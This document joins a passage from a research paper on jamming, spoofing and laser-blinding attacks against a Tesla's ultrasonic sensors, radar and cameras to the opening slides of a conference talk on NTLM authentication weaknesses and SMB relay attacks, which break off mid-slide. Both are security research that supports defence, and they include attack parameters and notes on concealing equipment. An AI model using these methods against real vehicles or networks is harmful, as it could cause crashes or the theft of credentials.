shown in Fig- ure 5. Setup. The setup is similar to jamming attack, except that the transducer is excited with 50 kHz square wave, which exhibits better performance than 40 kHz. Pattern. To spoof the sensor, an emulation of its phys- ical pattern (300 µs excitation and 700 µs ring down) is reasonable, though not necessary. An excitation time of 200 – 300 µs normally works well, but we do not recommend more than 1 ms. Difficulty. Timing is a trick for spoofing attack. Un- like LiDAR, ultrasonic sensors only care about the nearest obstacles. This means only the first justifiable echo will be processed, other echoes in the following will be totally ig- nored. Thus the counterfeit echo have to be ahead of the real ones in order to be e↵ective, which means the spoofed measurement can only be subtractive. Here we define the Attack Slot for spoofing attack, which is the time slot be- tween the end of transmitted pulse and start of first echo. Our injection must reside within the attack slot, the length of which depends on the obstacle distance. Another problem is that the measurements repeat at approximately 100 ms intervals. If the 300 µs counterfeit echo is blindly injected, the probability of hitting the attack slot will be lower than 10% for an obstacle 2 meters away, and will only decrease as the obstacle approaches. Approach. There is no way an attacker can transmit counterfeit echoes earlier than the real ones by listening to them, so relay attack is impossible for ultrasonic sensors. Another solution is listening and inferring the next cycle by calculating the delays, but neither will it work because the 100 ms cycle time fluctuates due to desired jittering or to asynchronous cycles [18]. Our approach is injecting the echoes with a smaller cycle time of several milliseconds. It may cause unstable spoofed sensor readings, but guarantees successful injection in the attack slot. 5.3.2 Results As mentioned above, results of spoofing attack depend on the timing of injection, as well as the length of counterfeit echo and cycle time. However, by trial and error we are able to find a set of parameters that can cause interesting sensor outputs, such as abrupt change, steady oscillation between near and far, and jitter around a certain reading, as shown in Figure 4(b). In the vast remaining cases, the sensor readings are just disturbed randomly. When there is no obstacle in the detection range at all, spoofing attack can cause the display of pseudo-obstacles. 5.4 Acoustic Quieting Besides jamming attack, another way to hide something from the sensors is to eliminate its noise and passive echoes. This approach of Acoustic Quieting has been well researched [4][5][14], and well developed for miliary submarines to stay stealth[10][30]. Methods include silent running, hull coat- ings that reduce active sonar response, and hydrodynamic hull design that reduces noise and active sonar response. We propose two similar methods of acoustic quieting for vehi- cles. Cloaking. Sound absorbing materials (e.g., plastic foam) are hardly seen by the ultrasonic parking system. For per- sons wearing absorbing cloths (e.g., woman with a fur-coat), the system has a shorter detection range. Our initial idea is to cover the obstacle with deadenings like sound absorb- ing foam. The damping foam can eliminate a portion of the returning echoes, hence reduce the detection range. Acoustic Cancellation. Active Noise Control (ANC), also known as noise cancellation, or Active Noise Reduction (ANR), is a method for reducing unwanted sound by the ad- dition of a second sound specifically designed to cancel the first [6]. Helicopter pilots rely on this technology to speak on the radio; it can also been seen on many high-end head- phones. Though originally designed for cancelling low fre- quency noise, we believe this method can also be applied to cancel ultrasound pulses from vehicular sensors, because the frequency is fixed and patterns are predictable. Note that the cancelling pulse in Figure 5 is in reverse phase. We have done preliminary experiments that proved the feasibility of canceling ultrasound by minor phase and amplitude adjust- ment. We are not going into details here, but dedicated high-speed hardware is definitely required for vehicular ul- trasound cancellation. 6. ATTACKING MMW RADARS RADAR (Radio Detection and Ranging) originates from the military technology since the Second World War, and has been bound to military applications for a long time. The first vehicle with Radar for adaptive cruise control was made available until 1998. This technology boosted 5 years later due to the development of automatic emergency brake and lane changing assistance. Automotive radars have very di↵erent requirements and solutions compared to military applications, such as smaller distance, lower Doppler fre- quency, high multitarget capability, small size, and signifi- cantly lower cost [9][22]. A Medium Range Radar (MRR) is installed under the front bumper on Tesla Model S. It is the underlying sensor support for many of the Autopilot func- tions, e.g., front collision avoidance and traffic-aware cruise control. In this section, we will present our security research on the Radar and Autopilot system in Tesla Model S. By using a signal analyzer we were able to identify the frequency band, modulation scheme, and waveform pattern of the Tesla Radar. Then we tried to jam and spoof the radar system with elec- tromagnetic waves in the same frequency band generated by a signal generator. Our results show that automotive MMW Radar can su↵er from electromagnetic jamming and spoofing. We will demonstrate the following: • Jamming attack can make detected objects disappear from the Autopilot system. • Spoofing attack can alter the object distance. 6.1 System Model Due to the complexity of Radar system, this paper will not go into the details and mathematics, but rather present an overview of the basic principles of Radar telecommunication technology in layman’s terms. Basic Principle. Similar to ultrasonic sensors, Radar works on the basic principle of emitting and receiving elec- tromagnetic waves, and measure the time-of-flight. How- ever, due to the way faster propagation speed of electro- magnetic wave, methods used for ultrasonic sensors are no longer possible. The emitted electromagnetic waves must be given an identifier for recognition and a time reference for the measurement of time-of-flight, the task of which is re- ferred to as modulation. At the receiver side, demodulation is required. The waveform can be described as a harmonic wave function in a general form: ut(t) = At · cos(2⇡f0t + '0) (2) Modulation is therefore possible with three variables: am- plitude A, frequency f, and phase '. Amplitude modu- lation is basically pulse modulation, frequency modulation includes Frequency Shift Keying (FSK), Frequency Modu- lated Shift Keying (FMSK), Frequency Modulated Continu- ous Wave (FMCW), and Chirp Sequence Modulation. In the scope of this paper, frequency modulation and FMCW es- pecially are introduced as it is how our target Radar works. Frequency Modulation. In frequency modulation, the frequency f0 is varied as a function of time. Fugure 6 shows the basic structure of FM radar. The instantaneous fre- quency is varied by a voltage-controlled oscillator (VCO) which enables the desired modulation via a control loop (e.g., phose-locked loop, PLL). The received signal is then mixed3 with the signal currently being transmitted, filtered, sampled, and converted. FMCW. Frequency modulated continuous wave is a fre- quently used modulation for automotive radars. As shown 3The process of signal multiplication is described as mixing in high-frequency technology. By mixing it is possible to measure the signal at much lower frequencies. Figure 6: Block diagram of a bistatic Radar with frequency modulation [31]. Figure 7: Spectral display of FMCW with a positive ramp for an approaching object [31]. in Figure 7, the instantaneous frequency is continuously changed in the form of a linear ramp. With known slope m!, the measurement of time-of-flight can be converted to the measurement of di↵erence frequency fd, which is easier by signal mixing. The relative speed can be further calcu- lated from the Doppler shift. By means of additional ramps with di↵erent slopes m!, the ambiguity of linear combina- tion can be resolved for a small number of objects. Doppler E↵ect. If an object moves relative to the Radar, the reflected electromagnetic wave will undergo a frequency shift, which is described as Doppler E↵ect. Accordingly, the frequency shift can be used to measure the relative velocity. Frequency Bands. There are currently four bands avail- able for use in road traffic (24.0 − 24.25 GHz, 76 − 77 GHz, and 77−81 GHz in addition to a UWB band of 21.65−26.65 GHz suitable for close range). The 76.5 GHz range, which is exclusive for automotive Radar and available worldwide, dominates at present. The 24 GHZ range has also claimed a large share of the market, especially for medium-range and close-range applications. Attenuation. Atmospheric attenuation is below 1 dB/km at 76.5 GHz, and therefore only 0.3 dB for the return path to a target 150 m away. However, heavy rain with big raindrops that achieve the magnitude of the wave length (3.9 mm) will result in serious attenuation, and leads to significant range reduction. In addition, heavy rain results in an increased interference level (clutter) and decreases the signal-to-noise ratio (SNR), which will in turn reduce the detection range. 6.2 Signal Analysis The Radar technology used on Tesla Model S is not pub- Figure 8: Setup of Radar experiment on Tesla Model S. A is automotive Radar, B is oscilloscope, C is sig- nal analyzer, D is signal generator, E is frequency multiplier, harmonic mixer, and their power sup- plies. licly known, but certain parameters and patterns of this Radar sensor is necessary for our understanding and crafting attacks. Instead of rearing down the front bumper and look- ing for the manufacturer and model information (which we could), we turned to a more straightforward and trustwor- thy way — directly observing the spectrum and waveform. However, seeing them for ourselves cannot be easily done. 6.2.1 Description It is said that Bosch 76 – 77 GHz MRR Radar sensor is in- stalled on Tesla. If 76 – 77 GHz band is used indeed, special equipments that can reach this band is the only practical way we can observe its waveform. Normal spectrum ana- lyzers and signal generators can work at high frequencies of several giga Hertz at most. As the maximum frequency increases, they can get very pricy. Even the best signal ana- lyzers and generators (like the ones we used) can only reach 40 – 50 GHz, frequency multipliers and mixers have to be further attached to fulfil this purpose. Equipments. The following equipments have been em- ployed for signal analysis: Keysight N9040B UXA Signal Analyzer (3 Hz – 50 GHz), DSOS804A High-Definition Os- cilloscope, 89601B VSA Software, and VDI 100 GHz har- monic mixer. Mixer acts as the RF frontend and down- converts the 77 GHz signal to a lower frequency that the signal analyzer can process. An oscilloscope is attached to the signal analyzer for better observation in the time do- main. VSA software is used for further signal analysis. Experiment Setup. Figure 8 shows the setup of radar experiment. To achieve higher receiving power for signal analysis, we put the antenna 0.5 m away and on the same horizonal level in line with the automotive Radar.4 After switching to Drive gear, Radar on the Tesla is powered on, which can be tell from the detection of a car (the equipments in this case) in the middle of the dashboard. 6.2.2 Results From the signal analyzer, the center frequency of Radar 4A caution of safety in doing the alignment is NOT to look at the functioning Radar closely and directly in the eyes. (a) Drive gear. (b) Autopilot. (c) Jammed. Figure 9: Tesla dashboard display at drive gear, Au- topilot, and Autopilot with radar jamming. signal is confirmed to be around 76.65 GHz, which proves that the automotive Radar on Tesla works within the 76 – 77 GHz band. After some discussion and manual correction, we further determined the bandwidth (ramp height) to be approximately 450 MHz. The modulation is FMCW with slow chirp sequence of 5 ramps, which all seem to correspond to the technical data of Bosch MRR4. 6.3 Jamming Attack After knowing the waveform parameters, a straightfor- ward idea of attack is jamming the sensor within the same frequency band, i.e., 76 – 77 GHz. 6.3.1 Description In normal functioning, the signal received must be suffi- ciently higher than the electrical noise so that detection can take place. Depending on any other signal evaluation for flare suppression, the threshold is above the electrical noise by a factor SNR threshold of approximately 6 – 10 dB [31]. Jamming signal can be considered by the system as strong noise or false input, which will possibly cause lowered SNR or computing errors, and therefore lead to radar system fail- ure. Jamming Waveform. There are many choices with the jamming waveform. We came up with two approaches, one is fixed frequency at 76.65 GHz, and the other is sweeping frequency within the 450 MHz bandwidth. Equipments. Keysight N5193A UXG Agile Signal Gen- erator (10 MHz – 40 GHz) and VDI WR10 frequency mul- tiplier (75 – 110 GHz) are used together to generate electro- magnetic waves at 77 GHz. Experiment Setup. The setup is similar to Figure 8, except that the distance between the equipment and car is increased for evaluation. 6.3.2 Results The results of jamming attack is very prominent. At first a car is detected by the Radar system and shown, when the RF output (jamming) is turned on, the car disappears at once. When it is turned o↵, the car can be detected again. Moreover, we have found the attack to be more practical when Tesla is in Autopilot mode by increased attack distance and less angle restriction. We assume this is because of threshold changes for tracking objects in Autopilot mode. Results are shown in Figure 9. 6.4 Spoofing Attack By modulating signals the same way as the automotive Radar, we were hoping for some spoofing results. Due to the low ratio of working time over idle time, signal injection at the precise time slot is very unlikely as we expected. Nev- ertheless, by tuning ramp slope back and forth in a higher value range on the signal generator, we happened to observe periodic distance change displayed in the Tesla. 6.5 Relay Attack A more delicate attack would be to relay the received sig- nal at the harmonic mixer to the transmitter, and send back to the Radar to emulate a farther ghost target. Because the relayed signal closely follows the authentic one, it could be accepted with less suspicion, therefore making deception easier. Unfortunately, we only had one horn antenna at the time of experiments and wouldn’t be able to do so. 7. ATTACKING CAMERAS Data from radars, LiDAR, ultrasonic sensors, GPS, and many other sensors are not enough for safe automated driv- ing, especially on highways and city streets where many rules and regulations are applied. For an autonomous car sharing traffic with human drivers, necessary information needs to be acquired visually from road signs and lanes. Onboard camera system handles visual recognition of the surround- ings in automated driving technology. Recognition includes lane lines, traffic signs and lights, vehicles, and pedestrians. After fusing data with other sensors, the driving behavior and routes can be better and more safely planned. On Tesla for example, a forward facing camera is used to recognise lanes and road signs. Features based on this technology in- clude automatic lane centering and changing, lane departure warning, and speed limit display. Cameras are passive light sensors. From our daily expe- rience, they can be blinded or fooled in many ways. To validate the attack on vehicle cameras, we carried out blind- ing attacks in di↵erent scenarios, observed and recorded the camera output. This section will present the experiments on blinding the vehicle camera with lights of di↵erent wave- lengths generated by o↵-the-shelf, low-cost light sources. Our major finding is: • Automotive cameras do not provide enough noise re- duction or protection, and thus can be blinded or per- manently damaged by strong light, which will further lead to failure of camera-based functionalities. 7.1 System Model As shown in Figure 10, cameras collect optical data by CCD/CMOS devices through filters, generate images in the camera module, and send them to the MCU for further pro- cessing and calculation. The recognition results will be sent to the ADAS ECU from the CAN bus. ADAS processor makes driving decisions and send commands to actuators, e.g., hydraulic steering wheel and control panel. Some sys- tems further provide the driver with video outputs on the screen for reference. 7.2 Blinding Attack Our attack is based on the assumption that CMOS/CCD sensors can be disturbed by malicious optical inputs, and will produce unrecognizable images. The broken images will further influence the decision of ADAS unit and indirectly a↵ect vehicle control. As a consequence, it will lead to the car’s deviation, or an emergency brake, which could all pos- sibly cause crashes. Figure 10: Forward-looking camera system block di- agram [20]. 7.2.1 Description A common method to attack video equipments is laser blinding. Photoelectric sensors are very sensitive to the in- tensity of light. With a peak adsorption coefficient at gen- erally 103 to 105, most of the laser energy at the sensor can be absorbed. The time necessary for damaging photoelec- tric sensor is one to several orders of magnitude less than the time for harming human eyes. Under laser exposure, the surface temperature will rise rapidly due to the thermal stress caused by non-uniform temperature field. Avalanche breakdown of semiconductor materials can cause irreversible damage to the photoelectric devices. Camera exposure to laser radiation for vehicles running on the road can happen when LiDARs are nearby. LEDs can also be used to gen- erate bright light against cameras. In our experiment, we used three kinds of light sources, i.e., LED, visible laser, and infrared LED. Figure 11: Setup of camera blinding experiment. A is a calibration board, B is a camera, C1 and C2 are laser emitters. Experiment setup for blinding attack is illustrated in Fig- ure 11. A calibration board A is positioned 1 meter in front of camera B; laser sources are either pointed at the camera or at the calibration board as C1 and C2. C1 is of 15◦ to the axis of A–B, and C2 of 45◦. We have tested with 650nm red laser, 850 nm infrared LED spot, and LED spot of 800 mW power respectively, observed the camera image output, and measured the change of tonal distribution. (a) Toward board. (b) Toward cam- era. (c) Tonal distribu- tion. Figure 12: Blinding camera with LED spot. (a) Fixed beam. (b) Wobbling beam. (c) Damage caused by laser. (d) Damage is permanent. Figure 13: Blinding camera with confronted laser. 7.2.2 Results LED. Aiming LED light at the calibration board leads to increased tonal value in the center area, thus information in this area can be fully concealed, and recognition will no longer be possible. Aiming LED light directly at the camera will induce significantly higher tonal values, and cause com- plete blindness all over the image. There is no way the cam- era system can acquire any visual information. The blinding time is relevant to camera refresh rate, as well as the distance between light source and camera. The results are shown in Figure 12. Laser. Pointing laser beam at the calibration board have almost no e↵ect on the camera. However, pointing directly toward the camera will lead to complete blindness for ap- proximately 3 seconds, during which the recognition will be impossible. We further did another experiment with wob- bling laser beam to emulate handhold attacks or uninten- tional scenarios. As shown in Figure 13(b), it can also cause failure of camera image recognition, though the tonal values are not as high due to shorter exposure time at one spot of CMOS/CCD chip. Permanent Damage. When laser beam is directly radi- ated at the camera within 0.5 meter and for a few seconds, irreversible damage can be caused to the CMOS/CCD chip. The black curve in Figure 13(c) is the evidence. When the laser is turned o↵, the curve still remains, as in Figure 13(d). Therefore the damage is permanent and irreversible, and can only be fixed by replacing the CMOS/CCD component. Un- intentional damage of this kind can possibly be caused by nearby laser radars. Infrared LED. No e↵ect on the camera has been ob- served by pointing the infrared LED spot either at the cam- era or board. We assume it is due to narrow frequency band of filters on the camera, which is a sign of good hardware quality. 8. DISCUSSION In this section we will discuss the feasibility of our attacks on ultrasonic sensors, MMW Radars, and cameras, from the perspectives of security research and launching real attacks on the road. Based on our experience and limited expertise, we propose countermeasures against these attacks. In the end we conclude the limitations of our work, and calls for new findings in the future. 8.1 Attack Feasibility We are going to evaluate the feasibility of our attacks by means of influential factors, knowledge threshold, hardware cost, detection by system and driver. 8.1.1 Influential Factors The attack success rate is a↵ected by many factors includ- ing the distance, angle, weather, surroundings, equipment performance, and sensor design after all. We are only going to discuss distance and angle. Distance. In ultrasonic attacks, jamming is normally kept within 1 meter due to atmospheric attenuation and high jamming noise amplitude required. Spoofing can be done within several meters. The distance can be increased with equipments that generate higher sound pressure and narrower beam pattern. For radar and camera attacks, max- imum distance is not measured due to location limitations, which will be discussed later. Angle. In ultrasonic attacks, best performance is achieved at perpendicular. This is easy to understand because sound is longitudinal wave, and will project most of its energy in the forward direction. However, up to 75◦ to the sensor per- pendicular axis works when spoofing attack aims to create a ghost target. Angle is not tested for camera and Radar attacks. 8.1.2 Knowledge Threshold To attack a sensor, certain knowledge threshold must be reached, which includes the system model, working princi- ple, relevant physics, and skills to build or operate hardware equipments. Since attack methods on one kind of sensors can hardly be reused when dealing with another kind, learning and researching has to start over, which can be pretty time- consuming. Among the three sensors we studied, ultrasonic is the easiest to approach, and Radar the hardest. 8.1.3 Hardware Cost For ultrasonic sensors, an Arduino and transducer cost $23, and even cheaper if one makes his own. A laser pointer of a few dollars can cause permanent damage to the camera, no matter it is on or o↵. However, for MMW Radar, there is no o↵-the-shelf tools. General equipments like the ones we used cost more than the Tesla Model S. 8.1.4 Detection by System For all of our attacks described in this paper, no alarm of “malicious attack” or “system failure” from the system is given. Under ultrasonic attacks, the system either displays the spoofed distance, no detection, or no display at all. In- terestingly, in [18] it is said that in the presence of ultrasonic noise, “the system responds as rule by indicating a fault to the driver or a pseudo-obstacle at a distance that is less than potentially real obstacles.” Recall that for jamming attack, the distance is falsified to maximum (means no detection), whereas no alarm is given at all. Under radar attack the detected object disappears, but no alarm of radar system error or of any kind is given, and the Autopilot mode is not forced o↵. 8.1.5 Detection by Driver Detection of ultrasonic attack and radar attack by the driver is not likely due to the imperceptibility of ultrasound and MMW radio. Camera attack using laser is very likely to be discovered, unless the damage has been done in advance. There are chances that the driver become suspicious to the equipments, therefore it is necessary to carefully hide the equipments or reduce their size. 8.1.6 On Road Attack We think on road attacks are possible. Ultrasonic jammer can be hidden in a fixed cover or held by hand. Radar equip- ments can be hidden at the roadside for fixed-spot attack, or in the trunk or in a van for mobile attack, and only leave the tiny antenna outside for concealment. Laser pointer or dazzler can be placed similarly. 8.2 Countermeasures From the sensor side of view, jamming attacks can be eas- ily recognised, especially for ultrasonic sensors and radars, because there are very few sources of ultrasonic and MMW radio noise in the working environment, especially with high power that can make measurements impossible. Many sen- sor applications have been implemented with noise rejection, but are not designed with the security concern of malicious jamming, as well as spoofing. On the systems side that take sensors as input, we suggest using multiple sensor for redundancy check, such as ultra- sonic MIMO system. We also suggest adding randomness into control parameters, taking logic check, confidence pri- ority, and attack detection system into consideration when designing sensor data fusion strategy. 8.3 Limitations and Future Work For ultrasonic sensors, we hope to increase the attack range by developing equipments with better performance, and carry on the ultrasound cancellation system. For MMW Radars, we were not able to test the attack performance in di↵erent distances and angles due the limitation of the test yard. We hope to test further in an open field and when the Tesla is moving. For cameras we hope to research more on the feasibility of spoofing attacks. Besides, for most of the attacks we were only able to ob- serve the results from the vehicle display rather than from sensors themselves, and therefore not sure where the prob- lems originate, i.e., from the sensors or the ECUs. We hope to further analyze the automated driving system, and moni- tor all the states for better comprehension of security on the system level. 9. CONCLUSIONS This paper exhibits that sensor security is an realistic issue to the safety of autonomous vehicles. Three essential kinds of sensors that Automated Driving Systems rely on and have been deployed on Tesla vehicles with Autopilot are stud- ied and examined, i.e., ultrasonic sensors, Millimeter Wave Radars, and cameras. Jamming attacks and spoofing at- tacks have been launched against these sensors indoors and outdoors, and caused malfunction in the automotive system, all of which could potentially lead to crashes and impair the safety of self-driving cars. 10. ACKNOWLEDGMENTS We thank Xin Bi and Keysight Open Laboratory & Solu- tion Center in Beijing for their professional support and for providing access to the radar equipments. We thank Xmyth Team for participating in the ultrasonic research. 11. REFERENCES [1] Arduino. Arduino and Genuino Project. https://www.arduino.cc/. Accessed: 2016-07-05. [2] L. Bergmann. The ultrasound and its application in science and technology. 1954. [3] S. Checkoway, D. Mccoy, B. Kantor, D. Anderson, H. Shacham, S. Savage, K. Koscher, A. Czeskis, F. Roesner, and T. Kohno. Comprehensive Experimental Analyses of Automotive Attack Surfaces. System, pages 1–6, 2011. [4] H. Chen and C. Chan. Acoustic cloaking in three dimensions using acoustic metamaterials. Applied physics letters, 91(18):183518, 2007. [5] S. A. Cummer and D. Schurig. One path to acoustic cloaking. New Journal of Physics, 9(3):45, 2007. [6] S. J. Elliott and P. A. Nelson. Active noise control. IEEE signal processing magazine, 10(4):12–35, 1993. [7] Google. Google Self-Driving Car Project. https://www.google.com/selfdrivingcar/. Accessed: 2016-07-06. [8] S. Hall. Elon Musk says that the LIDAR Google uses in its self-driving car ‘doesn’t make sense in a car context’. http://9to5google.com/2015/10/16/. Accessed: 2016-07-06. [9] J. Hasch, E. Topak, R. Schnabel, T. Zwick, R. Weigel, and C. Waldschmidt. Millimeter-wave technology for automotive radar sensors in the 77 ghz frequency band. IEEE Transactions on Microwave Theory and Techniques, 60(3):845–860, 2012. [10] L. He. Development of submarine acoustic stealth technology. Ship Science and Technology, 28(s2):9–17, 2006. [11] R. Katzwinkel, R. Auer, S. Brosig, M. Rohlfs, V. Sch¨oning, F. Schroven, F. Schwitters, and U. Wuttke. Einparkassistenz. In Handbuch Fahrerassistenzsysteme, pages 471–477. Springer, 2012. [12] K. Koscher, A. Czeskis, F. Roesner, S. Patel, T. Kohno, S. Checkoway, D. McCoy, B. Kantor, D. Anderson, H. Snach??m, and S. Savage. Experimental security analysis of a modern automobile. Proceedings - IEEE Symposium on Security and Privacy, pages 447–462, 2010. [13] H. Kuttru↵. Ultrasonics: Fundamentals and applications. Springer Science & Business Media, 2012. [14] J. Li and J. Pendry. Hiding under the carpet: a new strategy for cloaking. Physical Review Letters, 101(20):203901, 2008. [15] C. Miller and C. Valasek. A Survey of Remote Automotive Attack Surfaces. Defcon 22, 2014. [16] C. Miller and C. Valasek. Remote Exploitation of an Unaltered Passenger Vehicle. Blackhat USA, 2015:1–91, 2015. [17] M. Noll and P. Rapps. Ultraschallsensorik. In Handbuch Fahrerassistenzsysteme, pages 110–122. Springer, 2012. [18] M. Noll and P. Rapps. Ultrasonic sensors for a k44das. In Handbook of Driver Assistance Systems: Basic Information, Components and Systems for Active Safety and Comfort, pages 303–323. Springer, 2016. [19] J. Petit, B. Stottelaar, M. Feiri, and F. Kargl. Remote Attacks on Automated Vehicles Sensors: Experiments on Camera and LiDAR. Blackhat.com, pages 1–13, 2015. [20] Renesas. Front Detection. https://www.renesas.com/ zh-cn/solutions/automotive/adas/front.html. Accessed: 2016-07-07. [21] M. Seiter, H.-J. Mathony, and P. Knoll. Parking assist. In Handbook of Intelligent Vehicles, pages 829–864. Springer, 2012. [22] M. Skolnik. An introduction and overview of radar. Radar Handbook, 3, 2008. [23] Y. Son, H. Shin, D. Kim, Y. Park, J. Noh, K. Choi, J. Choi, and Y. Kim. Rocking drones with intentional sound noise on gyroscopic sensors. In 24th USENIX Security Symposium (USENIX Security 15), pages 881–896, 2015. [24] R. Staszewski and H. Estl. Making cars safer through technology innovation. White Paper by Texas Instruments Incorporated, 2013. [25] S. A. D. Team. Welcome. http://driving.stanford.edu/. Accessed: 2016-07-06. [26] Tesla. A tragic loss. https://www.teslamotors.com/blog/tragic-loss, June 2016. [27] Tesla Motors. Tesla Model S Software Release Notes v7.1, 2016. [28] C. Valasek and C. Miller. Adventures in Automotive Networks and Control Units. Technical White Paper, page 99, 2013. [29] J. Waanders. Piezoelectric ceramics-properties and applications. philips components. Marketing Communications, 1991. [30] Wikipedia. Teardrop hull. https://en.wikipedia.org/wiki/Teardrop hull. Accessed: 2016-07-06. [31] H. Winner. Automotive radar. In Handbook of Driver Assistance Systems: Basic Information, Components and Systems for Active Safety and Comfort, pages 325–403. Springer, 2016. [32] M. Wolf, A. Weimerskirch, and C. Paar. Security in Automotive Bus Systems. Proceedings of the Workshop on Embedded Security in Cars, pages 1–13, 2004. [33] M. Wolf, A. Weimerskirch, and T. Wollinger. State of the art: Embedding security in vehicles. Eurasip Journal on Embedded Systems, 2007, 2007.
pdf
Nail the Coffin Shut: Kurt Grutzmacher - Defcon 16 grutz @ jingojango.net NTLM IS DEAD grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # Who I am... Corporate Penetration Tester for nearly a decade (with a CISSP for business purposes, gotta do what ya gotta do) Have seen the worst security get turned around into lil’ better security As the Enterprise learned how to protect themselves we had to figure out other ways to attack This presentation is a culmination of this knowledge Also dabble in Metasploit development, getting Free MacWorld passes, and spreading the good word of OWASP 2 grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # Quick Definitions LM - LAN Manager Really old and really tired, never use this again Finally disabled by default in Vista and Server 2008 NTLM - NT LAN Manager Replaced “LAN Manager” (for a good reason) A “suite” of protocols for authentication and security: “NTLM Security Support Provider (NTLMSSP)” Also known as “ntlm 0.12” Describes an authentication protocol and the hash result Kerberos - Kerberos But not just Kerberos, Microsoft extended Kerberos! 3 grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # Scrabble take two Nonce - Number Used Once Used to defeat replay attacks SSPI - Security Support Provider Interface Microsoft API to several security routines SPNEGO - Simple and Protected GSSAPI Negotiation Mechanism I don’t know what to speak to you, so lets negotiate! IWA - Integrated Windows Authentication The act of negotiating authentication type using SPNEGO 4 grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # Windows “Type” Auth NTLM Authentication Protocol is a challenge-response scheme that can be broken into three “Types”: Type 1: Client sends “Hi, I want to talk to you” Type 2: Server sends “Ok, here’s the various features and protocols I support including a nonce for you to encrypt your hashes with so nobody can replay it later in case they capture it. Oh and the domain you should authenticate to.” Type 3: Client response “Sweet, I agree on the features you desire and support them in my daily life. Here’s the username, domain again, workstation name, and the encrypted LM and NTLM hashes.” The server recovers the LM/NTLM hashes and compares them to its internal table and grants / denies accordingly in the response to a Type 3 message. 5 grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # LM is a rotted corpse 1. Password converted to upper case 2. Password is null-padded or TRUNCATED to 14 bytes 3. Password is split into two halves of 7 bytes each 4. Two DES keys are created, one from each 7 byte half: 4.1.Convert each half to a bit stream 4.2.Insert a zero bit after every 7 bits 5. Each key DES-encrypts the string “KGS!@#$%” creating two 8 byte ciphertext values 6. Concatenate the two results for your LM hash 6 grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # NTLMv1 Protocol is… 1. Cleartext is converted to Unicode and hashed with MD4 -- This is the “NTLM Hash” 2. The 16-byte hash is null-padded to 21 bytes and split into three 7-byte values 3. These values are each used to create three DES keys 4. Each of these keys is used to DES-encrypt the nonce from the Type 2 message, resulting in three 8-byte ciphertext values 5. These three ciphertext values are concatenated to form a 24-byte value which goes into the Type 3 response. 7 grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # NTLMv2 Protocol is… 1. NTLM hash is generated 2. Unicode uppercase username and domain name are concatenated 3. An HMAC-MD5 of the NTLM hash and result from Step 2 is made 4. A blob is created using the timestamp, a client nonce and static data 5. An HMAC-MD5 of the blob and result from Step 3 is made 6. This 16-byte value result is used in the NTLM slot 8 grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # NTLMv2 Session… 1. An 8-byte client nonce is generated and padded to 24 bytes 2. The result is placed into the LM field of the Type 3 response -- No LM result is generated or passed using NTLMv2 Session 3. Server’s nonce is concatenated with the client nonce -> Session nonce 4. Session nonce is MD5’d and truncated to 8 bytes -> Session hash 5. NTLM hash is generated, null padded to 21 bytes and split into three 7- byte values 6. These values are each used to create three DES keys 7. Each of these keys is used to DES-encrypt the nonce from the Type 2 message, resulting in three 8-byte ciphertext values 8. These three ciphertext values are concatenated to form a 24-byte value which goes into the Type 3 response. 9 grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # Seems strong… NTLM is better than LM: 1. Cleartext is NOT converted to upper case 2. Passwords are NOT broken into blocks of 7 bytes 3. DES not so good but it’s the last step to generate results and client/ server nonces protect from pre-computed attacks 4. Server nonces do not protect pre-computed attacks however. In the end LM and NTLM hashes should be considered the same as cleartext. When obtained an attacker does not need to find the cleartext in order for them to be used. 10 grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # NTLM is supported... in Microsoft products (IIS, IAS, Exchange, Internet Explorer) in Samba and Apache and PAM in other browsers (Mozilla Firefox and Safari) in proxy servers to support browsers who don’t do NTLM in your iPhone (really!) for Enterprises in OSX to connect to Windows shares in WinCE to connect to Windows shares in ToasterBrandConsumerDevice to connect to Windows shares in * to connect to Windows shares 11 ...everywhere! grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # So why is it dead? NTLM has shown its survivability by hanging on to “backwards compatibility” and ubiquitous deployment. If it’s everywhere what is the incentive to get rid of it? Good question, and for one-off sort of authentication the NTLM protocol is not a bad option. You’ve got: Replay protection Mixed case support from cleartext to ciphertext Client and Server nonces Message digests Timestamping 12 grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # ..sounds good so far! Lets not get ahead of ourselves just yet. In an ENTERPRISE we have the joyful tune of “Single Sign-On”. When a workstation becomes a member of the domain any user that logs on can access their resources with only having to type their password once during the log on process This means that the cleartext or LM/NTLM ciphertext may be stored within the memory of the workstation throughout the session or beyond! It also means that authentication can happen at the request of an application and not by a user. 13 grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # Attack Scenarios 14 grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # Our Threat Model The NTLM protocols pre-suppose an Enterprise authentication system using Windows Domains or Active Directory. Evildoers must fit within this environment in order to take advantage of it so they usually have to physically have access inside. Doesn’t mean this isn’t an external threat, just that at this time I can’t think of or have seen an attack from the outside in. 15 grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # SMB Relay (original) First released in March, 2001 at @tlantaCon by Sir Dystic of cDc Listens for NBT requests and collects LM/NTLM hashes for cracking Version 1: Connects back to the requester using their credentials Emulates an SMB server for the attacker to connect to TCP/IP Addresses only Generally great for one-off attacks Version 2: Supported NetBIOS names Relay to a third-party host 16 http://www.xfocus.net/articles/200305/smbrelay.html grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # SMB Relay (Metasploit) Re-engineering of SMB Relay script as a Metasploit attack module Metasploit already had LM/NTLM hash capture support since 2.7 Can connect back to original host or forward to a single host Works great if: Users are local administrators Server service has been started on their workstations or the users have rights to your destination host See last year’s “Tactical 